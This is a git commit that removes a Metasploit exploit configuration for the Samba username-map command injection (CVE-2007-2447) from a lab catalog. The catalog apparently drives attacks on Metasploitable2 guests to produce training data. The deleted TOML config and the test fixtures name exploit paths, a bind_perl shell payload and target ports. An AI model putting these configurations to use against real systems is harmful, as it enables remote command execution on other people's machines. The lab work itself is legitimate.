catalog: remove samba_usermap_script — never landed sessions in prod
PIPELINE.md §1 (default-to-removal), §4.3 (catalog admission), §10 (every dishonest label is a poisoned training example). Empirical evidence on commits4ab5477→c41763b: samba_usermap_script fired its bind_perl payload but the framework's bind handler never managed to connect to the guest's listening port within session_open_timeout_s=30 (or even with WfsDelay=30 bumped on the framework side). All 67 attempts in the §3 probe ended in session_open_timeout. Yet the schedule clock was still writing `infected_running` labels for the failed exploit — exactly the §10 poisoned-example pattern. Until §5 step 3 builds an in-house target VM and step 4 re-admits modules with `verified_against` recorded (§4.3), the production catalog should consist of zero verified Tier-3 modules. That's the state after this removal: the four remaining modules (vsftpd_234_backdoor, distccd_command_exec, php_cgi_arg_injection, unreal_ircd_3281_backdoor) are all `requires_bridge=true`, which the fleet picker filters out unconditionally (the post-revert behavior from commit0390eb2). Net effect: production runs Tier-2 only, producing honest Tier-2 episodes and zero dishonest Tier-3 infected_running labels. Test fixture updated to inject synthetic in-memory ModuleConfigs instead of loading from disk, so Tier-3 dispatch logic stays tested even though no production module qualifies. test_exploits asserts the new "every shipped module is requires_bridge until §4.3 admits something verified" invariant — flips into a tripwire if anyone reintroduces an unverified non-bridge module. 229 passed. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
parent
c41763bd28
commit
dca6144a4a
3 changed files with 60 additions and 67 deletions
|
|
@ -1,47 +0,0 @@
|
|||
description = """
|
||||
Samba 3.0.20 username-map command injection (CVE-2007-2447). Trigger
|
||||
is a crafted username at SMB authentication; the Samba daemon shells
|
||||
out via the username_map_script and runs whatever the attacker put in
|
||||
the username. Standard Metasploitable2 vector. Uses a bind-perl
|
||||
payload so msfrpcd can connect to the resulting shell via SLIRP
|
||||
hostfwd; LPORT is fleet-assigned per slot (base 4444, +1000/slot)
|
||||
to avoid collisions across concurrent episodes.
|
||||
"""
|
||||
|
||||
[module]
|
||||
type = "exploit"
|
||||
path = "multi/samba/usermap_script"
|
||||
|
||||
[module.options]
|
||||
RHOSTS = "{{ target_ip }}"
|
||||
RPORT = 139
|
||||
# WfsDelay = wait-for-session, the budget Metasploit's payload handler
|
||||
# has to (a) verify the bind shell on the guest is up and (b) connect
|
||||
# to it. Default is ~5s. On Metasploitable2 the perl bind payload
|
||||
# takes longer than that to fork+bind under SLIRP+hostfwd, so the
|
||||
# handler gives up before the listener is ready and no session lands.
|
||||
# 30s gives bind_perl + the SLIRP forward time to settle. Matches
|
||||
# session_open_timeout_s in exploits/driver.py so the driver and the
|
||||
# framework agree on the wait budget. Refs PIPELINE.md §3 (0/67
|
||||
# session_open finding).
|
||||
WfsDelay = 30
|
||||
|
||||
[payload]
|
||||
path = "cmd/unix/bind_perl"
|
||||
|
||||
[payload.options]
|
||||
LPORT = 4444
|
||||
# Give the handler retry budget when connecting to the bind port.
|
||||
# msfrpcd's BindTcp handler retries every second up to ConnectTimeout
|
||||
# until the perl listener accepts. Without this, a single failed
|
||||
# connect aborts the session.
|
||||
ConnectTimeout = 15
|
||||
|
||||
[session]
|
||||
type = "shell"
|
||||
|
||||
[runtime]
|
||||
# bind_perl opens a new guest port; fleet hostfwds it via SLIRP.
|
||||
# No bridge egress needed — host connects in, not guest out.
|
||||
requires_bridge = false
|
||||
extra_target_ports = [4444]
|
||||
|
|
@ -26,25 +26,29 @@ MODULES_DIR = REPO_ROOT / "exploits" / "modules"
|
|||
# Module config loader
|
||||
# -----------------------------------------------------------------------
|
||||
|
||||
def test_module_catalog_has_at_least_five_metasploitable2_vectors() -> None:
|
||||
"""The fleet's entry-vector variety depends on the module catalog
|
||||
being populated. Five Metasploitable2 vectors is the minimum
|
||||
that gives the trainer a non-trivial diversity of armed →
|
||||
infecting transition shapes."""
|
||||
def test_module_catalog_only_contains_unverified_modules() -> None:
|
||||
"""All currently-shipped Metasploitable2 modules are bridge-only and
|
||||
none has been re-verified end-to-end since the §3 probe surfaced
|
||||
that no Tier-3 module reliably lands sessions against the
|
||||
SourceForge Metasploitable2 image. Per PIPELINE.md §4.3 admission
|
||||
criteria, the catalog should consist only of verified modules; the
|
||||
interim correct state is "every shipped module is requires_bridge,
|
||||
so the picker filters them all out and Tier-3 doesn't run." This
|
||||
keeps the dataset honest until §5 step 3 builds a target VM and
|
||||
step 4 re-admits modules with `verified_against` recorded.
|
||||
|
||||
Updated 2026-05-04 after removing samba_usermap_script (commit
|
||||
c41763b empirical evidence: bind_perl handler couldn't connect
|
||||
after exploit_fire even with WfsDelay=30, producing dishonest
|
||||
infected_running labels per §10)."""
|
||||
from exploits.modules import load_module_configs
|
||||
catalog = load_module_configs(MODULES_DIR)
|
||||
assert len(catalog) >= 5, \
|
||||
f"only {len(catalog)} modules; need at least 5 for fleet variety"
|
||||
names = set(catalog.keys())
|
||||
expected = {
|
||||
"vsftpd_234_backdoor",
|
||||
"samba_usermap_script",
|
||||
"distccd_command_exec",
|
||||
"php_cgi_arg_injection",
|
||||
"unreal_ircd_3281_backdoor",
|
||||
}
|
||||
missing = expected - names
|
||||
assert not missing, f"missing canonical modules: {missing}"
|
||||
assert all(m.requires_bridge for m in catalog.values()), (
|
||||
"every currently-shipped module must be requires_bridge=true so "
|
||||
"the production picker drops all of them — keeps Tier-3 honest "
|
||||
"until a verified module is admitted (§4.3). Modules in catalog: "
|
||||
f"{[(n, m.requires_bridge) for n, m in catalog.items()]}"
|
||||
)
|
||||
|
||||
|
||||
def test_load_vsftpd_module_config_round_trip() -> None:
|
||||
|
|
@ -99,7 +103,6 @@ def test_module_target_port_pulls_rport() -> None:
|
|||
from exploits.modules import load_module_configs, module_target_port
|
||||
catalog = load_module_configs(MODULES_DIR)
|
||||
assert module_target_port(catalog["vsftpd_234_backdoor"]) == 21
|
||||
assert module_target_port(catalog["samba_usermap_script"]) == 139
|
||||
assert module_target_port(catalog["distccd_command_exec"]) == 3632
|
||||
assert module_target_port(catalog["php_cgi_arg_injection"]) == 80
|
||||
assert module_target_port(catalog["unreal_ircd_3281_backdoor"]) == 6667
|
||||
|
|
|
|||
|
|
@ -207,8 +207,45 @@ class _RecordingPopen:
|
|||
self.stderr = b""
|
||||
|
||||
|
||||
def _fixture_modules() -> dict:
|
||||
"""Synthetic in-memory module catalog for test fixtures.
|
||||
|
||||
Production no longer ships any verified Tier-3 modules — the
|
||||
samba_usermap_script entry was removed because it never landed a
|
||||
session against the configured Metasploitable2 target (PIPELINE.md
|
||||
§4.3 admission criteria, default-to-removal). Until §5 step 3
|
||||
builds a target VM and step 4 re-admits modules with a recorded
|
||||
`verified_against`, the production catalog is empty by design.
|
||||
|
||||
Tests still need to exercise Tier-3 dispatch logic, so this
|
||||
fixture provides a SLIRP-friendly module + a bridge-required
|
||||
module hand-built in-memory. Keeping the fixture decoupled from
|
||||
`exploits/modules/*.toml` means production catalog state can
|
||||
change freely without breaking these tests."""
|
||||
from exploits.modules import ModuleConfig
|
||||
return {
|
||||
"fixture_slirp": ModuleConfig(
|
||||
name="fixture_slirp",
|
||||
module_type="exploit",
|
||||
module_path="multi/test/slirp_friendly_fixture",
|
||||
options={"RHOSTS": "{{ target_ip }}", "RPORT": 139},
|
||||
payload_path="cmd/unix/bind_perl",
|
||||
payload_options={"LPORT": 4444},
|
||||
requires_bridge=False,
|
||||
extra_target_ports=(4444,),
|
||||
),
|
||||
"fixture_bridge": ModuleConfig(
|
||||
name="fixture_bridge",
|
||||
module_type="exploit",
|
||||
module_path="multi/test/bridge_required_fixture",
|
||||
options={"RHOSTS": "{{ target_ip }}", "RPORT": 21},
|
||||
payload_path="cmd/unix/interact",
|
||||
requires_bridge=True,
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
def _fleet_cfg_with_modules(tmp_path: Path, *, force_tier2: bool = False):
|
||||
from exploits.modules import load_module_configs
|
||||
from orchestrator import fleet
|
||||
from samples.manifest import SampleManifest
|
||||
|
||||
|
|
@ -218,7 +255,7 @@ def _fleet_cfg_with_modules(tmp_path: Path, *, force_tier2: bool = False):
|
|||
repo_root=repo_root,
|
||||
data_root=tmp_path,
|
||||
manifest=SampleManifest.load(repo_root / "samples" / "manifest.toml"),
|
||||
modules=load_module_configs(repo_root / "exploits" / "modules"),
|
||||
modules=_fixture_modules(),
|
||||
force_tier2=force_tier2,
|
||||
)
|
||||
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue